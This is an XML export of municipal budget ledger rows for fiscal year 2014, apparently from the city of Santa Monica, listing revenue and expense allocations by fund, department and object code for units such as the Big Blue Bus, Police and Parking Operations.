<row _id="5221"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object>407080.0</object><object_description>30 DAY IMPOUND FEE</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-111845.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-111845.0</total></row>
<row _id="5222"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>401130.0</object><object_description>SPORTS LEAGUES</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-121680.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-121680.0</total></row>
<row _id="5223"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>263</division_id><division_name>ADMINISTRATION &amp; REDEVELOPMENT</division_name><object>400770.0</object><object_description>LEASE RENTAL REVENUE</object_description><category_code>618.0</category_code><category_code_description>Rentals</category_code_description><fiscal_year>2014</fiscal_year><july>-3941413.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-3941413.0</total></row>
<row _id="5224"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>34</fund_id><fund_name>Stormwater Management Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>577890.0</object><object_description>MWD RECYCLED WATER REBATE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>-18401.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-18401.0</total></row>
<row _id="5225"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>417</division_id><division_name>PARKING OPERATIONS</division_name><object>544110.0</object><object_description>PRINTED FORMS</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>88252.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>88252.0</total></row>
<row _id="5226"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>670</division_id><division_name>TRANSIT SAFETY &amp; TRAINING</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>572926.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>572926.0</total></row>
<row _id="5227"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>670</division_id><division_name>TRANSIT SAFETY &amp; TRAINING</division_name><object>511490.0</object><object_description>OVERTIME</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>3030.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>3030.0</total></row>
<row _id="5228"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object>555014.0</object><object_description>OUTSIDE REPAIRS - OFFICE EQUIP</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>6150.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>6150.0</total></row>
<row _id="5229"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>643</division_id><division_name>TRANSIT CUSTOMER &amp; GOVT RELAT</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>1065412.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1065412.0</total></row>
<row _id="5230"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>643</division_id><division_name>TRANSIT CUSTOMER &amp; GOVT RELAT</division_name><object>522820.0</object><object_description>CONFERENCES/MEETINGS/TRAVEL</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>8700.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>8700.0</total></row>
<row _id="5231"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>643</division_id><division_name>TRANSIT CUSTOMER &amp; GOVT RELAT</division_name><object>555014.0</object><object_description>OUTSIDE REPAIRS - OFFICE EQUIP</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1000.0</total></row>
<row _id="5232"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>643</division_id><division_name>TRANSIT CUSTOMER &amp; GOVT RELAT</division_name><object>555062.0</object><object_description>CONSULTING SERVICES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>25000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>25000.0</total></row>
<row _id="5233"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>643</division_id><division_name>TRANSIT CUSTOMER &amp; GOVT RELAT</division_name><object>522545.0</object><object_description>AD SALES (BBB)</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>204500.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>204500.0</total></row>
<row _id="5234"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>417</division_id><division_name>PARKING OPERATIONS</division_name><object>522111.0</object><object_description>UTIL-LIGHT/POWER-GF</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>179439.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>179439.0</total></row>
<row _id="5235"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object>402750.0</object><object_description>TDA SALES TAX-OPERATIONS</object_description><category_code>658.0</category_code><category_code_description>Sales Tax</category_code_description><fiscal_year>2014</fiscal_year><july>-19329273.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-19329273.0</total></row>
<row _id="5236"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object>405820.0</object><object_description>PROP C - BSIP</object_description><category_code>658.0</category_code><category_code_description>Sales Tax</category_code_description><fiscal_year>2014</fiscal_year><july>-754403.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-754403.0</total></row>
<row _id="5237"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object>407020.0</object><object_description>PROP C TRANSIT SECURITY</object_description><category_code>658.0</category_code><category_code_description>Sales Tax</category_code_description><fiscal_year>2014</fiscal_year><july>-1167590.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-1167590.0</total></row>
<row _id="5238"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>140</department_id><department_name>CITY ATTORNEY</department_name><division_id>231</division_id><division_name>CITY ATTORNEY</division_name><object>577130.0</object><object_description>CONSUMER PROTECTION UNIT</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>15000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>15000.0</total></row>
<row _id="5239"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>211</division_id><division_name>R &amp; ES(CITY CLERK)-ADMIN</division_name><object>577140.0</object><object_description>DISABILITY ACCOMODATIONS</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>300.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>300.0</total></row>
<row _id="5240"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>302</division_id><division_name>ANIMAL CONTROL UNIT</division_name><object>401381.0</object><object_description>DOG &amp; CAT NEUTER DEPOSITS</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="5241"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>34</fund_id><fund_name>Stormwater Management Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTE WATER</division_name><object>407160.0</object><object_description>STORMWATER IN-LIEU FEES</object_description><category_code>662.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2014</fiscal_year><july>-400000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-400000.0</total></row>
<row _id="5242"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>417</division_id><division_name>PARKING OPERATIONS</division_name><object>522320.0</object><object_description>METERED POSTAGE</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1570.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1570.0</total></row>
<row _id="5243"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>640</division_id><division_name>TRANSIT EXECUTIVE</division_name><object>511979.0</object><object_description>MEDICAL EXAMS</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>500.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>500.0</total></row>
<row _id="5244"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object>511490.0</object><object_description>OVERTIME</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>5050.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>5050.0</total></row>
<row _id="5245"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object>522180.0</object><object_description>BANK FEES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>28000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>28000.0</total></row>
<row _id="5246"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>640</division_id><division_name>TRANSIT EXECUTIVE</division_name><object>522900.0</object><object_description>MEMBERSHIPS AND DUES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>57400.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>57400.0</total></row>
<row _id="5247"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>643</division_id><division_name>TRANSIT CUSTOMER &amp; GOVT RELAT</division_name><object>511979.0</object><object_description>MEDICAL EXAMS</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>200.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>200.0</total></row>
<row _id="5248"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>643</division_id><division_name>TRANSIT CUSTOMER &amp; GOVT RELAT</division_name><object>522544.0</object><object_description>GRAPHIC DESIGN</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>47500.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>47500.0</total></row>
<row _id="5249"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>417</division_id><division_name>PARKING OPERATIONS</division_name><object>522112.0</object><object_description>UTIL-LIGHT/POWER-BEACH</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>81396.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>81396.0</total></row>
<row _id="5250"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object>402650.0</object><object_description>NON-TRANSP REV-OPER</object_description><category_code>662.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2014</fiscal_year><july>-26138.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-26138.0</total></row>
<row _id="5251"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object>403010.0</object><object_description>OPERATING INTEREST - CITY</object_description><category_code>659.0</category_code><category_code_description>Investment Income</category_code_description><fiscal_year>2014</fiscal_year><july>-76003.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-76003.0</total></row>
<row _id="5252"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object>404080.0</object><object_description>INTEREST - CAPITAL</object_description><category_code>659.0</category_code><category_code_description>Investment Income</category_code_description><fiscal_year>2014</fiscal_year><july>-141148.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-141148.0</total></row>
<row _id="5253"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object>404220.0</object><object_description>OTHER OPER REV-MISCELLANEOUS</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-44000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-44000.0</total></row>
<row _id="5254"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>401230.0</object><object_description>COMMUNITY GARDENS RENTALS</object_description><category_code>618.0</category_code><category_code_description>Rentals</category_code_description><fiscal_year>2014</fiscal_year><july>-9300.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-9300.0</total></row>
<row _id="5255"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>578080.0</object><object_description>TRANSIT MALL MAINTENANCE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>-99493.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-99493.0</total></row>
<row _id="5256"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>302</division_id><division_name>ANIMAL CONTROL UNIT</division_name><object>533580.0</object><object_description>COMPUTER EQUIP/SOFTWARE MAINT</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="5257"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>651</division_id><division_name>TRANSIT MAINTENANCE</division_name><object xsi:nil="true" /><object_description>PRINTING - GENERAL</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>25625.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>25625.0</total></row>
<row _id="5258"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>321</division_id><division_name>BUILDING AND SAFETY</division_name><object>400570.0</object><object_description>ADMIN FINES/PENALTIES</object_description><category_code>614.0</category_code><category_code_description>Fines and Forfeitures</category_code_description><fiscal_year>2014</fiscal_year><july>-36414.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-36414.0</total></row>
<row _id="5259"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>654</division_id><division_name>TRANSIT OPERATIONS</division_name><object>522961.0</object><object_description>FUEL-SERVICE VEHICLES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>102500.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>102500.0</total></row>
<row _id="5260"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511500.0</object><object_description>TEMPORARY EMPLOYEES</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>6571.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>6571.0</total></row>
<row _id="5261"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511490.0</object><object_description>OVERTIME</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>6083.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>6083.0</total></row>
<row _id="5262"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSE</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>35319.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>35319.0</total></row>
<row _id="5263"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>570130.0</object><object_description>GF/SPEC FD REIM. AHPP DEV FEE</object_description><category_code>908.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>-100000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-100000.0</total></row>
<row _id="5264"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>417</division_id><division_name>PARKING OPERATIONS</division_name><object>523000.0</object><object_description>VEHICLE MGMT FUND-MAINTENANCE</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1804.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1804.0</total></row>
<row _id="5265"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>417</division_id><division_name>PARKING OPERATIONS</division_name><object>544010.0</object><object_description>SPECIAL DEPARTMENT SUPPLIES</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>30522.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>30522.0</total></row>
<row _id="5266"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>640</division_id><division_name>TRANSIT EXECUTIVE</division_name><object>555062.0</object><object_description>CONSULTING SERVICES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>50000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>50000.0</total></row>
